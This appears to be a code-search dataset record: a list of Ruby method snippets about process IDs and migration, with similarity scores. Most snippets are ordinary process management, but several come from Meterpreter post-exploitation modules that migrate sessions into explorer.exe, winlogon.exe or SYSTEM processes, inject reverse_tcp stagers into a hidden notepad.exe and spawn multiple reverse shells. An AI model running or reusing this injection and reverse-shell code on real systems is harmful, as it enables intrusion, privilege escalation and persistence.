"def explrmigrate(session,captype,lock)\n\t#begin\n\t\tif captype.to_i == 0\n\t\t\tprocess2mig = \"explorer.exe\"\n\t\telsif captype.to_i == 1\n\t\t\tif is_uac_enabled?\n\t\t\t\tprint_error(\"UAC is enabled on this host! Winlogon migration will be blocked.\")\n\t\t\t\traise Rex::Script::Completed\n\t\t\tend\n\t\t\tprocess2mig = \"winlogon.exe\"\n\t\t\tif lock\n\t\t\t\tlock_screen\n\t\t\tend\n\t\telse\n\t\t\tprocess2mig = \"explorer.exe\"\n\t\tend\n\t\t# Actual migration\n\t\tmypid = session.sys.process.getpid\n\t\tsession.sys.process.get_processes().each do |x|\n\t\t\tif (process2mig.index(x['name'].downcase) and x['pid'] != mypid)\n\t\t\t\tprint_status(\"\\t#{process2mig} Process found, migrating into #{x['pid']}\")\n\t\t\t\tsession.core.migrate(x['pid'].to_i)\n\t\t\t\tprint_status(\"Migration Successful!!\")\n\t\t\tend\n\t\tend\n\t\treturn true\n#\trescue\n#\t\tprint_status(\"Failed to migrate process!\")\n#\t\treturn false\n#\tend\nend",
"def save_pid\n @deployment.pid = Process.pid\n @deployment.save!\n end",
"def save_pid\n @deployment.pid = Process.pid\n @deployment.save!\n end",
"def update_pid!\n self.original_pid = Process.pid\n end",
"def restart(pid)\n `kill -s USR2 #{pid}`\n end",
"def do_something_with_PID(msg)\n msg_s = msg.to_s\n m_ary = msg_s.split('|')\n m_inc = m_ary.length\n pid = Hl7Pid.new\n while m_inc > 0 do\n m_inc = m_inc - 1\n v1 = m_ary[0] + \"_\" + m_inc.to_s + \"=\"\n v1 = v1.downcase\n pid.send(v1,m_ary[m_inc])\n #puts m_inc\n end\n pid.msh_9_id = $msh09\n pid.pid18_patacct = $pid18\n pid.pid3_mrn = $pid03\n pid.pid2_DOB = $pid02\n pid.pid4_ssn = $pid04\n pid.save\n # puts \"saved!\"\nend",
"def duplicate_session\n\t\trhost = Rex::Socket.source_address(\"1.2.3.4\")\n\t\trport = 443\n\t\tlhost = \"127.0.0.1\"\n\t\tspawn = false\n\t\tautoconn = true\n\t\tinject = true\n\t\ttarget_pid = nil\n\t\ttarget = \"notepad.exe\"\n\t\tpay = nil\n\n\t\tprint_status(\"Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}\")\n\t\tpayload = \"windows/meterpreter/reverse_tcp\"\n\t\tpay = client.framework.payloads.create(payload)\n\t\tpay.datastore['LHOST'] = rhost\n\t\tpay.datastore['LPORT'] = rport\n\t\tmul = client.framework.exploits.create(\"multi/handler\")\n\t\tmul.share_datastore(pay.datastore)\n\t\tmul.datastore['WORKSPACE'] = client.workspace\n\t\tmul.datastore['PAYLOAD'] = payload\n\t\tmul.datastore['EXITFUNC'] = 'process'\n\t\tmul.datastore['ExitOnSession'] = true\n\t\tprint_status(\"Running payload handler\")\n\t\tmul.exploit_simple(\n\t\t'Payload' => mul.datastore['PAYLOAD'],\n\t\t'RunAsJob' => true\n\t)\n\n\tnote = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })\n\ttarget_pid = note.pid\n\t# Do the duplication\n\tprint_status(\"Injecting meterpreter into process ID #{target_pid}\")\n\thost_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)\n\traw = pay.generate\n\tmem = host_process.memory.allocate(raw.length + (raw.length % 1024))\n\tprint_status(\"Allocated memory at address #{\"0x%.8x\" % mem}, for #{raw.length} byte stager\")\n\tprint_status(\"Writing the stager into memory...\")\n\thost_process.memory.write(mem, raw)\n\thost_process.thread.create(mem, 0)\n\tprint_status(\"New server process: #{target_pid}\")\n\n\tend",
"def kill(pid)\n check_connection\n @protocol.kill_command pid\n self\n end",
"def write_pid; end",
"def reload(pid)\n `kill -s HUP #{pid}`\n end",
"def store_pid(port)\n store_details(port)\n end",
"def kill(pid)\n `kill -9 #{pid}`\n end",
"def migrate(dst)\n self.stop\n new_instance = self.class.new(@box, @options)\n new_instance.start\n return new_instance\n end",
"def set_process_step\n @process_step = ProcessStep.find(params[:id])\n end",
"def set_process_state\n @process_state = ProcessState.find(params[:id])\n end",
"def migrate(dst)\n self.stop\n new_instance = self.class.new(@node, @options)\n new_instance.start\n return new_instance\n end",
"def move_to_sys\n # Make sure you got the correct SYSTEM Account Name no matter the OS Language\n local_sys = resolve_sid('S-1-5-18')\n system_account_name = \"#{local_sys[:domain]}\\\\#{local_sys[:name]}\"\n\n # Processes that can Blue Screen a host if migrated in to\n dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']\n\n print_status('Migrating to process owned by SYSTEM')\n session.sys.process.processes.each do |p|\n # Check we are not migrating to a process that can BSOD the host\n next if dangerous_processes.include?(p['name'])\n\n next if p['pid'] == session.sys.process.getpid\n\n next unless p['user'] == system_account_name\n\n print_status(\"Migrating to #{p['name']}\")\n session.core.migrate(p['pid'])\n print_good(\"Successfully migrated to #{p['name']}\")\n return\n end\n end",
"def set( pid )\n raise( RackWebpack::Error,\n 'Must acquire lock before setting PID' ) unless acquire\n @lock_file.truncate(0)\n @lock_file.rewind\n @lock_file.puts pid\n @lock_file.flush\n pid\n end",
"def kill_agent(pid)\n if pid\n Process.kill(0, pid)\n Process.kill(15, pid)\n end\n rescue Errno::ESRCH\n # Not Running, Nothing to do!\n end",
"def terminate(pid)\n process_kill(15, pid)\n end",
"def run\n unless session.platform == 'windows' && [ARCH_X64, ARCH_X86].include?(session.arch)\n print_error(\"This module requires native Windows meterpreter functions not compatible with the selected session\")\n return\n end\n # Set variables\n multi_ip = nil\n multi_pid = nil\n\n print_status(\"Running module against #{sysinfo['Computer']}\")\n\n if datastore['HANDLER']\n create_multi_handler(datastore['PAYLOAD'],datastore['LPORT'])\n end\n\n multi_ip = datastore['IPLIST'].split(\";\")\n multi_pid = datastore['PIDLIST'].split(\";\")\n\n datastore['AMOUNT'].times do # iterate through number of shells\n\n multi_ip.zip(multi_pid).each do |a|\n # Check if we have an IP for the session\n if a[1]\n payload = create_payload(datastore['PAYLOAD'],a[0],datastore['LPORT'])\n inject(a[1],payload)\n select(nil, nil, nil, 5)\n else\n # if no PID we create a process to host the Meterpreter session\n payload = create_payload(datastore['PAYLOAD'],a[0],datastore['LPORT'])\n pid_num = start_proc(datastore['PROCESSNAME'])\n inject(pid_num,payload)\n select(nil, nil, nil, 5)\n end\n\n end\n end\n end",
"def kill(pid)\n process_kill(9, pid) #SIGKILL\n @pids.delete(pid)\n\n end",
"def kill_process(pid)\n Net::SSH.start(@ip, \"pipeline\") do |ssh|\n ssh.exec! \"kill #{pid}\"\n end\n end"
] | [
"0.6637108",
"0.6519998",
"0.64004076",
"0.59887666",
"0.5821757",
"0.58210856",
"0.5727315",
"0.54937464",
"0.5442536",
"0.5442536",
"0.5440639",
"0.5234462",
"0.5125994",
"0.5118183",
"0.5117475",
"0.50919735",
"0.50558233",
"0.4982016",
"0.4977306",
"0.49663824",
"0.4964503",
"0.49581197",
"0.4955486",
"0.4948044",
"0.48791322",
"0.48671588",
"0.48646456",
"0.48644185",
"0.48605213",
"0.48518795"
] | 0.6626714 | 1 |
Indicates if the given transport is a valid transport option. | def valid_transport?(transport)
return false if transport.nil?
VALID_TRANSPORTS.has_key?(transport.downcase)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def lxd_transport_selected?\r\n instance.transport.is_a? Kitchen::Transport::Lxd\r\n end",
"def requires_transport_security\n to_bool description['RequiresTransportSecurity']\n end",
"def compatible?(opts)\n opts == @options\n end",
"def recipient_required?\n transfer_type?\n end",
"def check_options\n unless @options[:stub]\n STDERR.puts \"Please specify a host to connect to using --host\" unless @options[:host]\n STDERR.puts \"Please specify a model to check using --model\" unless @options[:model]\n return false unless @options[:host] && @options[:model]\n end\n\n true\n end",
"def local_transport?\n return false unless defined?(Train::Transports::Local)\n\n backend.is_a?(Train::Transports::Local::Connection)\n end",
"def transportation_admin?\n admin? && agencies.any? { |a| a.transportation? }\n end",
"def runner_options(transport, state = {})\n transport_data = transport.diagnose.merge(state)\n if transport.is_a?(Kitchen::Transport::Ssh)\n runner_options_for_ssh(transport_data)\n elsif transport.is_a?(Kitchen::Transport::Winrm)\n runner_options_for_winrm(transport_data)\n else\n fail Kitchen::UserError, \"Verifier #{name} does not support the #{transport.name} Transport\"\n end.tap do |runner_options|\n runner_options['format'] = config[:format] unless config[:format].nil?\n end\n end",
"def valid_delivery_option\n\n # Formats 'both' for checking\n if tool.delivery_options == 'Both'\n options = ['Delivery', 'Pickup']\n end\n\n # Checks the delivery option against tool delivery options\n if tool.delivery_options.include?(delivery_option) || options.include?(delivery_option)\n return true\n else\n # Failed validation error.\n errors.add(:delivery_option, 'is not available for this tool.')\n end\nend",
"def transport_options\n definition.transport_options\n end",
"def option?(param)\n param[0] == \"-\"\n end",
"def options?\n @method == OPTIONS\n end",
"def transport_change(opts={})\n request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_CHANGE, opts)\n\n return false unless request\n\n client.send_request(request)\n\n return true\n end",
"def options_ok?\n end",
"def transfer_given?\n params.has_key?(:is_transfer) || params.has_key?(:transfer_buddy)\n end",
"def should_validate?(adapter)\n # settings for the default outgoing adapter should always be validated\n return true if default_outgoing_sms_adapter == adapter\n\n # settings for an adapter should be validated if any settings for that adapter are present\n case adapter\n when \"Twilio\"\n twilio_phone_number.present? || twilio_account_sid.present? || twilio_auth_token1.present?\n when \"FrontlineCloud\"\n frontlinecloud_api_key.present?\n end\n end",
"def valid_option? opt_sym\n @options_with_short_keys.key? opt_sym\n end",
"def options?\n non_empty?(@config.options)\n end",
"def opts_is_valid?(opts = {})\n !(opts[:file].nil? && opts[:temp].nil?) || (opts[:file] && opts[:temp])\n end",
"def valid?(options = {})\n options = normalize_options(options)\n validate(options)\n return true\n rescue\n false\n end",
"def is_transfer?\n case params[:is_transfer]\n when '1', 't', 'true', 'on'\n return true\n when '0', 'f', 'false', 'off'\n return false\n else\n return (not transfer_buddy.nil?)\n end\n end",
"def using_tcp?\n return (@transport == \"tcp\" || @transport == :tcp)\n end",
"def valid_delivery_service?\n self.delivery_service ? self.available_delivery_services.include?(self.delivery_service) : !self.delivery_required?\n end",
"def options?\n @supports_options\n end",
"def test_truth\n assert_kind_of Transport, transports(:first)\n end",
"def arguments_valid?\n if @arguments.length == 1\n @options.port = @arguments[0].to_i\n return true\n end\n @arguments.length == 0\n end",
"def valid?(option)\n option = option.to_s\n self.class.valid_options.include?(option) ||\n plugins.include?(option.split('_').first) ||\n option =~ /^theme_advanced_container_\\w+$/\n end",
"def actual_options?(options)\n return false if options.nil?\n\n if (options.is_a?(String) || options.is_a?(Hash)) && !options.size.zero?\n true\n else\n false\n end\n end",
"def valid?\n use_tls_validator = EnumAttributeValidator.new('String', [\"0\", \"1\"])\n return false unless use_tls_validator.valid?(@use_tls)\n type_validator = EnumAttributeValidator.new('String', [\"random\", \"hash\", \"client\"])\n return false unless type_validator.valid?(@type)\n true\n end",
"def validate_settings(settings)\n @log.debug 'validating settings: ' + settings.to_s\n unless %w[any all].include? settings['strategy']\n @log.error \"strategy setting must be set to 'any' or 'all'\"\n return false\n end\n\n @log.debug 'done validating settings'\n true\n end"
] | [
"0.6418291",
"0.6378669",
"0.60231215",
"0.5906427",
"0.5903978",
"0.58465683",
"0.5818413",
"0.5770901",
"0.57369584",
"0.5731191",
"0.57050544",
"0.57010823",
"0.5671012",
"0.5618755",
"0.5613927",
"0.5547167",
"0.5546207",
"0.5533641",
"0.55271596",
"0.5524442",
"0.5523704",
"0.55063844",
"0.55033505",
"0.5499762",
"0.5471627",
"0.5439296",
"0.54329467",
"0.53993696",
"0.5381555",
"0.537957"
] | 0.8292597 | 0 |
Negotiates the use of encryption at the TLV level | def negotiate_tlv_encryption
sym_key = nil
rsa_key = OpenSSL::PKey::RSA.new(2048)
rsa_pub_key = rsa_key.public_key
request = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION)
request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)
begin
response = client.send_request(request)
key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)
key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)
if key_enc
sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)
else
sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)
end
rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError
# 1) OpenSSL error may be due to padding issues (or something else)
# 2) Request error probably means the request isn't supported, so fallback to plain
end
{
key: sym_key,
type: key_type
}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def encrypt; end",
"def encryption_server; end",
"def flag_unencrypted!\n if (!flag_unencrypted?)\n @flags = @flags | TAC_PLUS_UNENCRYPTED_FLAG\n else\n @flags = @flags & (~TAC_PLUS_UNENCRYPTED_FLAG)\n end\n return(nil)\n end",
"def decrypt; end",
"def encrypt(alg, password, string)\n \n begin\n case alg\n when \"3DES\" then key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'des3')\n when \"AES\" then key = EzCrypto::Key.with_password(password, $system_salt, :algoritmh => 'aes256')\n when \"Blowfish\" then key =EzCrypto::Key.with_password(password, $system_salt, :algoritmh => 'blowfish')\n when 'Plaintext' then return string\n else key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'aes256') \n end\n encrypted_text = key.encrypt64(string)\n rescue => e\n p e.message\n end\n return encrypted_text\n \n end",
"def encryption_info\n @ms_off_crypto.encryption_info\n end",
"def encryption_required?\n super\n end",
"def signed_or_encrypted; end",
"def encryption_client; end",
"def normalize_encrypted(_value)\n nil\n end",
"def encrypt()\n cipher_type = \"aes-128-ecb\"\n data = password;\n key = master_password;\n \n self.encrypted_password = aes_encrypt(data,key,nil,cipher_type).to_s\n end",
"def encrypt\n self\n end",
"def encrypt\n self\n end",
"def set_encrypted_extra_data\n return if @extra_data.blank?\n\n kms_login_client = Aws::Kms.new('entity_association', 'general_access')\n r = kms_login_client.decrypt(GeneralSalt.get_user_activity_logging_salt_type)\n return unless r.success?\n\n d_salt = r.data[:plaintext]\n\n r = LocalCipher.new(d_salt).encrypt(@extra_data)\n return unless r.success?\n\n @e_extra_data = r.data[:ciphertext_blob]\n end",
"def encryption_oracle\n # From an early-on AES-128-ECB exercise. 'YELLOW SUBMARINE' is the 128-bit key.\n ciphertext = URL::decode64('http://cryptopals.com/static/challenge-data/25.txt')\n plaintext = AES_128.decrypt(ciphertext, 'YELLOW SUBMARINE', :mode => :ECB)\n\n AES_128.encrypt(plaintext, AES_KEY, :mode => :CTR)\nend",
"def maybe_encrypt(connection, context)\n # Do nothing if the Message subclass has not implemented this method\n self\n end",
"def set_encryption_attributes\n @sorcery_config.encryption_provider.stretches = @sorcery_config.stretches if @sorcery_config.encryption_provider.respond_to?(:stretches) && @sorcery_config.stretches\n @sorcery_config.encryption_provider.join_token = @sorcery_config.salt_join_token if @sorcery_config.encryption_provider.respond_to?(:join_token) && @sorcery_config.salt_join_token\n @sorcery_config.encryption_provider.pepper = @sorcery_config.pepper if @sorcery_config.encryption_provider.respond_to?(:pepper) && @sorcery_config.pepper\n end",
"def encrypt \r\n\t \r\n\t \tif validateParams\r\n\t \t \t\t \t\t \t \t\r\n\t \t\tif @IV.empty?\r\n\t\t\t\t_iv = OpenSSL::Cipher::Cipher.new(\"aes-#{ @cipher }-#{ @mode }\").random_iv\r\n\t\t\telse\r\n\t\t\t\t_iv= @IV\r\n\t\t\tend\t\t\r\n\t\t\t\r\n\t\t\tEncryptor.default_options.merge!(:algorithm => \"aes-#{ @cipher }-#{ @mode }\", :key => @key, :iv => _iv)\t\t\r\n\t\t\t_cyper_text = Encryptor.encrypt(@data)\t\t\t\r\n\t\t\t_rt = Base64.strict_encode64(_cyper_text)\r\n\t\t\t\t\t\t\r\n\t\t\treturn _rt\t\r\n\t\telse\r\n\t\t\traise \"Provide valid details to get transaction token\" \t\t\r\n\t \tend\r\n\t \t\r\n\t end",
"def encryptHex\r\n\t \r\n\t \tif @IV.empty?\r\n\t\t\t_iv = OpenSSL::Cipher::Cipher.new(\"aes-#{ @cipher }-#{ @mode }\").random_iv\r\n\t\telse\r\n\t\t\t_iv= @IV\r\n\t\tend\r\n\t\t\r\n\t\tEncryptor.default_options.merge!(:algorithm => \"aes-#{ @cipher }-#{ @mode }\", :key => @key, :iv => _iv)\r\n\t\t_cyper_text = Encryptor.encrypt(@data)\t\r\n\t\t_rt = _cyper_text.unpack(\"H*\")[0]\r\n\t\t\r\n\t\treturn _rt\r\n\t\t\r\n\t end",
"def encrypted_package\n @ms_off_crypto.encrypted_package\n end",
"def cipher; end",
"def ssl_cipher_filter; end",
"def populate_iv_fields\n fields = self.attributes.reject {|attr| !(attr.include?('iv') && attr.include?('encrypted')) }.keys\n fields.each do |field|\n unless self.public_send(field) #just in case so it's impossible to overwrite our iv\n iv = SecureRandom.random_bytes(12)\n self.public_send(field+'=', iv)\n end\n end\n end",
"def encrypt string\n string\n end",
"def without_encryption(&block)\n with_encryption_context encryptor: ActiveRecord::Encryption::NullEncryptor.new, &block\n end",
"def read_encrypted_secrets=(_arg0); end",
"def read_encrypted_secrets=(_arg0); end",
"def decrypt\n self\n end",
"def encrypted_options\n encrypt(construct_encrypted_options())\n end",
"def validate\n encrypt\n end"
] | [
"0.6219268",
"0.6050318",
"0.60302675",
"0.6021541",
"0.5976383",
"0.59305847",
"0.5928",
"0.5901424",
"0.5864061",
"0.5811158",
"0.5778909",
"0.5746842",
"0.5695048",
"0.5692484",
"0.5679981",
"0.5662186",
"0.56545293",
"0.5633376",
"0.56083804",
"0.5597781",
"0.55971",
"0.5592611",
"0.5582663",
"0.5577021",
"0.55749583",
"0.5545184",
"0.5545184",
"0.55431354",
"0.55429304",
"0.5529434"
] | 0.71024567 | 0 |
Get a reference to the currently active transport. | def get_current_transport
x = transport_list
x[:transports][0]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getTransport()\n\t\treturn @transport\n\tend",
"def transport\n instance.transport\n end",
"def transport\n @transport ||= definition.transport_class.new(ui, transport_options)\n end",
"def transport\n self.connection.transport\n end",
"def transport_key\n return @transport_key\n end",
"def get_transporter\n TCPSocket.open(@host, @port)\n end",
"def current\n Delivery.wrap(Cproton.pn_link_current(@impl))\n end",
"def transport_options\n definition.transport_options\n end",
"def transport(_protocol)\n Class.new do\n attr_reader :provided_features\n def initialize(features)\n @provided_features = features\n end\n end.new(transport_features)\n end",
"def transport\n remote? ? 'remote' : protocol\n end",
"def transport; end",
"def transport; end",
"def transport; end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def current\n Thread.current.thread_variable_get(:reactor)\n end",
"def service\n return softlayer_client[:Ticket].object_with_id(self.id)\n end",
"def newTransport\n\n end",
"def current_resource\n @current_resource ||= @transfer\n end",
"def current_transaction\n agent&.current_transaction\n end",
"def current_transaction\n @transactions[Thread.current].last\n end",
"def _active_target\n @target\n end",
"def current\n @listener_proxies[current_pid]\n end",
"def current_transaction\n @transactions[Thread.current].last\n end",
"def service\n context[:target]\n end",
"def transport_options\n return @transport_options if defined?(@transport_options)\n\n transport_options_proc = transport_options_settings\n\n @transport_options = TransportOptions.new\n\n if transport_options_proc.is_a?(Proc)\n begin\n transport_options_proc.call(TransportOptionsResolver.new(@transport_options))\n rescue NoMethodError => e\n if logger\n logger.debug do\n 'Could not extract configuration from transport_options proc. ' \\\n \"Cause: #{e.class.name} #{e.message} Source: #{Array(e.backtrace).first}\"\n end\n end\n\n # Reset the object; we shouldn't return the same one we passed into the proc as it may have\n # some partial configuration and we want all-or-nothing.\n @transport_options = TransportOptions.new\n end\n end\n\n @transport_options.freeze\n end",
"def transfer_target\n return @transfer_target\n end",
"def current\n LOOPS[Thread.current]\n end",
"def new\n @cabinet_transport = current_user.transports.new\n end"
] | [
"0.78342223",
"0.7524477",
"0.7294853",
"0.69095546",
"0.64046234",
"0.6343704",
"0.61325413",
"0.6093084",
"0.5908385",
"0.5853454",
"0.58507127",
"0.58507127",
"0.58507127",
"0.5795152",
"0.5795152",
"0.5795152",
"0.5655502",
"0.5622717",
"0.56030846",
"0.55137587",
"0.5483498",
"0.54626787",
"0.54400134",
"0.5429016",
"0.5426485",
"0.53484464",
"0.534698",
"0.5342009",
"0.5339029",
"0.53297627"
] | 0.8338596 | 0 |
Generate a migrate stub that is specific to the current transport type and the target process. | def generate_migrate_stub(target_process)
stub = nil
if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
t = get_current_transport
c = Class.new(::Msf::Payload)
if target_process['arch'] == ARCH_X86
c.include(::Msf::Payload::Windows::BlockApi)
case t[:url]
when /^tcp/i
c.include(::Msf::Payload::Windows::MigrateTcp)
when /^pipe/i
c.include(::Msf::Payload::Windows::MigrateNamedPipe)
when /^http/i
# Covers HTTP and HTTPS
c.include(::Msf::Payload::Windows::MigrateHttp)
end
else
c.include(::Msf::Payload::Windows::BlockApi_x64)
case t[:url]
when /^tcp/i
c.include(::Msf::Payload::Windows::MigrateTcp_x64)
when /^pipe/i
c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64)
when /^http/i
# Covers HTTP and HTTPS
c.include(::Msf::Payload::Windows::MigrateHttp_x64)
end
end
stub = c.new().generate
else
raise RuntimeError, "Unsupported session #{client.session_type}"
end
stub
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_migrate_payload(target_process)\n case client.platform\n when 'windows'\n blob = generate_migrate_windows_payload(target_process)\n else\n raise RuntimeError, \"Unsupported platform '#{client.platform}'\"\n end\n\n blob\n end",
"def generate_migrate(opts={})\n %Q^\n load_ws2_32:\n mov r14, 'ws2_32'\n push r14\n mov rcx, rsp ; pointer to 'ws2_32'\n sub rsp, #{WSA_SIZE} ; alloc size, plus alignment (used later)\n mov r13, rsp ; save pointer to this struct\n sub rsp, 0x28 ; space for api function calls (really?)\n mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call rbp ; LoadLibraryA('ws2_32')\n init_networking:\n mov rdx, r13 ; pointer to the wsadata struct\n push 2\n pop rcx ; Version = 2\n mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n call rbp ; WSAStartup(Version, &WSAData)\n create_socket:\n xor r8, r8 ; protocol not specified\n push r8 ; flags == 0\n push r8 ; reserved == NULL\n lea r9, [rsi+0x10] ; Pointer to the info in the migration context\n push 1\n pop rdx ; SOCK_STREAM\n push 2\n pop rcx ; AF_INET\n mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n call rbp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)\n xchg rdi, rax\n ^\n end",
"def migrate(target_pid, writable_dir = nil, opts = {})\n keepalive = client.send_keepalives\n client.send_keepalives = false\n target_process = nil\n current_process = nil\n\n # Load in the stdapi extension if not allready present so we can determine the target pid architecture...\n client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')\n\n current_pid = client.sys.process.getpid\n\n # Find the current and target process instances\n client.sys.process.processes.each { | p |\n if p['pid'] == target_pid\n target_process = p\n elsif p['pid'] == current_pid\n current_process = p\n end\n }\n\n # We cant migrate into a process that does not exist.\n unless target_process\n raise RuntimeError, 'Cannot migrate into non existent process', caller\n end\n\n # We cannot migrate into a process that we are unable to open\n # On linux, arch is empty even if we can access the process\n if client.platform == 'windows'\n\n if target_process['arch'] == nil || target_process['arch'].empty?\n raise RuntimeError, \"Cannot migrate into this process (insufficient privileges)\", caller\n end\n end\n\n # And we also cannot migrate into our own current process...\n if current_process['pid'] == target_process['pid']\n raise RuntimeError, 'Cannot migrate into current process', caller\n end\n\n migrate_stub = generate_migrate_stub(target_process)\n migrate_payload = generate_migrate_payload(target_process)\n\n # Build the migration request\n request = Packet.create_request(COMMAND_ID_CORE_MIGRATE)\n\n request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)\n request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])\n request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])\n\n if target_process['arch'] == ARCH_X64\n request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64\n\n else\n request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86\n end\n\n # if we change architecture, we need to change UUID as well\n if current_process['arch'] != target_process['arch']\n client.payload_uuid.arch = target_process['arch']\n request.add_tlv( TLV_TYPE_UUID, client.payload_uuid.to_raw )\n end\n\n # Send the migration request. Timeout can be specified by the caller, or set to a min\n # of 60 seconds.\n timeout = [(opts[:timeout] || 0), 60].max\n client.send_request(request, timeout)\n\n # Post-migration the session doesn't have encryption any more.\n # Set the TLV key to nil to make sure that the old key isn't used\n # at all.\n client.tlv_enc_key = nil\n\n if client.passive_service\n # Sleep for 5 seconds to allow the full handoff, this prevents\n # the original process from stealing our loadlib requests\n ::IO.select(nil, nil, nil, 5.0)\n elsif client.pivot_session.nil?\n # Prevent new commands from being sent while we finish migrating\n client.comm_mutex.synchronize do\n # Disable the socket request monitor\n client.monitor_stop\n\n ###\n # Now communicating with the new process\n ###\n\n # only renegotiate SSL if the session had support for it in the\n # first place!\n if client.supports_ssl?\n # If renegotiation takes longer than a minute, it's a pretty\n # good bet that migration failed and the remote side is hung.\n # Since we have the comm_mutex here, we *must* release it to\n # keep from hanging the packet dispatcher thread, which results\n # in blocking the entire process.\n begin\n Timeout.timeout(timeout) do\n # Renegotiate SSL over this socket\n client.swap_sock_ssl_to_plain()\n client.swap_sock_plain_to_ssl()\n end\n rescue TimeoutError\n client.alive = false\n return false\n end\n end\n\n # Restart the socket monitor\n client.monitor_socket\n end\n end\n\n # Renegotiate TLV encryption on the migrated session\n secure\n\n # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)\n client.ext.aliases.keys.each { |e|\n client.core.use(e)\n }\n\n # Restore session keep-alives\n client.send_keepalives = keepalive\n\n return true\n end",
"def generate_migrate_windows_payload(target_process)\n c = Class.new( ::Msf::Payload )\n c.include( ::Msf::Payload::Stager )\n\n # Include the appropriate reflective dll injection module for the target process architecture...\n if target_process['arch'] == ARCH_X86\n c.include( ::Msf::Payload::Windows::MeterpreterLoader )\n elsif target_process['arch'] == ARCH_X64\n c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )\n else\n raise RuntimeError, \"Unsupported target architecture '#{target_process['arch']}' for process '#{target_process['name']}'.\", caller\n end\n\n # Create the migrate stager\n migrate_stager = c.new()\n\n migrate_stager.stage_meterpreter\n end",
"def generate_migrate(opts={})\n %Q^\n load_ws2_32:\n push '32'\n push 'ws2_'\n push esp ; pointer to 'ws2_32'\n push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call ebp ; LoadLibraryA('ws2_32')\n init_networking:\n mov eax, #{WSA_VERSION} ; EAX == version, and is also used for size\n sub esp, eax ; allocate space for the WSAData structure\n push esp ; Pointer to the WSAData structure\n push eax ; Version required\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n call ebp ; WSAStartup(Version, &WSAData)\n create_socket:\n push eax ; eax is 0 on success, use it for flags\n push eax ; reserved\n lea ebx, [esi+0x10] ; get offset to the WSAPROTOCOL_INFO struct\n push ebx ; pass the info struct address\n push eax ; no protocol is specified\n inc eax\n push eax ; SOCK_STREAM\n inc eax\n push eax ; AF_INET\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)\n xchg edi, eax\n ^\n end",
"def generate\n if Rails.version < '4'\n migration_template('rails3_migration',\n \"#{db_migrate_path}/create_db_poller.rb\")\n else\n migration_template('migration',\n \"#{db_migrate_path}/create_db_poller.rb\")\n end\n end",
"def generate_migration options = {}\n options.to_options!\n chroot do\n before = Dir.glob \"./db/migrate/*\"\n n = Dir.glob(\"./db/migrate/*_bj_*\").size\n classname = \"BjMigration#{ n }\"\n util.spawn \"#{ Bj.ruby } ./script/generate migration #{ classname }\", options rescue nil\n after = Dir.glob \"./db/migrate/*\"\n candidates = after - before\n case candidates.size\n when 0\n false\n when 1\n generated = candidates.first\n open(generated, \"w\"){|fd| fd.puts Bj.table.migration_code(classname)}\n Bj.logger.info{ \"generated <#{ generated }>\" }\n generated\n else\n raise \"ambiguous migration <#{ candidates.inspect }>\"\n end\n end\n end",
"def migration(options={})\n get_location\n # TODO: validate options\n @params[:migration] = FEATURE_DEFAULTS[:migration].merge(options)\n @params[:migration][:generate] = true\n end",
"def generate_migration\n template migration_template, \"db/migrate/#{migration_file_name}.rb\" if options.migration?\n end",
"def execute_generate_migration(name, options = nil)\n result = execute_generator 'migration', name, options\n result.last.last\n end",
"def generate_migration\n file_name = \"#{Time.current.utc.strftime('%Y%m%d%H%M%S')}_#{migration_name.underscore}\"\n @migration_class_name = migration_name.camelize\n \n template \"empty_migration.rb.erb\", \"db/cassandra_migrate/#{file_name}.rb\" \n end",
"def migrate\n raise NotImplementedError\n end",
